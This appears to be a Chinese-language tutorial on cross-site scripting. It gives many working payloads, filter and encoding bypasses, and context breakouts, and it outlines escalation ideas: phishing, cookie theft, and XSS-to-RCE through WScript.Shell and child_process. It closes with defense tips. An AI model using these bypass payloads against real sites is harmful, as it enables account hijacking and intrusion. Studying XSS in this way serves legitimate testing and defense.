谭谈 XSS 那些世人皆知的事
字数 1309 2025-08-05 08:18:57
XSS 攻击全面指南:从基础到高级利用
1. XSS 简介
XSS (Cross Site Scripting) 跨站脚本攻击是最普遍的Web应用安全漏洞之一。攻击者能够嵌入恶意脚本代码到正常用户会访问的页面中,当用户访问该页面时,恶意代码被执行,从而达到攻击目的。
XSS 类型分类
-
反射型 XSS
- 非持久化攻击
- 需要用户点击特制链接
- 常见于搜索页面等场景
-
存储型 XSS
- 持久化攻击,代码存储在服务器中
- 危险程度高,易造成蠕虫传播
- 常见于留言板、个人信息等位置
-
DOM 型 XSS
- 基于文档对象模型(DOM)的漏洞
- 不依赖提交数据到服务器端
- 可能是存储型或反射型
2. XSS 常用攻击向量
2.1 常用触发标签与属性
<!-- script标签 -->
<script>alert(1);</script>
<!-- img标签 -->
<!-- input标签 -->
<input onfocus=alert(1);>
<input onblur=alert(1) autofocus><input autofocus>
<!-- details标签 -->
<details ontoggle=alert(1);>
<details open ontoggle=alert(1);>
<!-- svg标签 -->
<svg onload=alert(1);>
<!-- select标签 -->
<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>
<!-- iframe标签 -->
<iframe onload=alert(1);></iframe>
<!-- video标签 -->
<video><source onerror=alert(1)>
<!-- audio标签 -->
<audio src=x onerror=alert(1);>
<!-- body标签 -->
<body onload=alert(1);>
<body onscroll=alert(1);><br><br>...<input autofocus>
<!-- textarea标签 -->
<textarea onfocus=alert(1); autofocus>
<!-- keygen标签 (仅限火狐) -->
<keygen autofocus onfocus=alert(1)>
<!-- marquee标签 -->
<marquee onstart=alert(1)></marquee>
<!-- isindex标签 (仅限IE) -->
<isindex type=image src=1 onerror=alert(1)>
2.2 JavaScript 伪协议利用
<!-- a标签 -->
<a href="javascript:alert(1);">xss</a>
<!-- iframe标签 -->
<iframe src=javascript:alert(1);></iframe>
<!-- img标签 -->
<!-- form标签 -->
<form action="Javascript:alert(1)"><input type=submit>
3. XSS 绕过技术
3.1 基本绕过技巧
-
空格过滤绕过
-
引号过滤绕过
-
括号过滤绕过
3.2 关键字过滤绕过
-
大小写绕过
<sCRiPt>alert(1);</sCrIpT> -
双写绕过
<scrscriptipt>alert(1);</scrscriptipt> -
字符串拼接
-
使用top对象
<script>top["al"+"ert"](`xss`);</script>
4. XSS 输出点利用
4.1 不同输出场景的利用
-
输出在属性里
"> " autofocus onfocus=alert(1)// -
输出在HTML标签之间
</textarea><script>alert(1)</script> -
输出在script标签之间
";alert(1)//
5. XSS 字符编码绕过
5.1 编码类型与解码流程
-
HTML 编码/解码
- 十进制:
alert("xss") - 十六进制:
alert("xss")
- 十进制:
-
URL 编码
<a href=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a> -
JavaScript 编码
- Unicode编码:
\u0061\u006C\u0065\u0072\u0074("xss") - 八进制编码:
\141\154\145\162\164("xss") - 十六进制编码:
\x61\x6c\x65\x72\x74("xss")
- Unicode编码:
5.2 混合编码技术
<!-- HTML编码 + URL编码 -->
<a href=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>
<!-- HTML编码 + JavaScript编码 -->
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>
6. SVG 黑魔法
<svg><script>alert("xss")</script>
SVG标签属于HTML外部元素,遵循XML解析规则,在XML解析中实体编码会自动解码,从而绕过某些过滤机制。
7. XSS 攻击面拓展
7.1 利用XSS钓鱼
-
Flash弹窗钓鱼
- 伪造Flash更新页面
- 诱导用户下载恶意程序
- 实现CS上线
-
Cookie盗取
<script>alert(document.cookie)</script>
7.2 XSS to RCE
-
使用WScript.Shell执行命令
var shell = new ActiveXObject("WScript.Shell"); shell.run("calc.exe"); -
使用child_process执行命令
require('child_process').exec('calc');
7.3 实际案例:Xmind 2020 XSS漏洞
8. XSS 测试流程
-
初步测试
- 尝试插入正常HTML标签
- 测试不闭合标签
- 测试常见XSS向量
-
绕过测试
- 大小写变种
- 双写绕过
- 事件触发测试
-
高级测试
- 不同编码方式
- 混合编码
- 特殊标签利用
9. 防御建议
- 对所有用户输入进行严格的过滤和转义
- 使用Content Security Policy (CSP)
- 设置HttpOnly标志保护Cookie
- 实施输入验证和输出编码
- 使用现代框架的安全功能
通过全面理解XSS攻击的各种技术和绕过方法,开发人员和安全工程师可以更好地防御这类漏洞,而安全研究人员则可以更有效地发现和利用它们。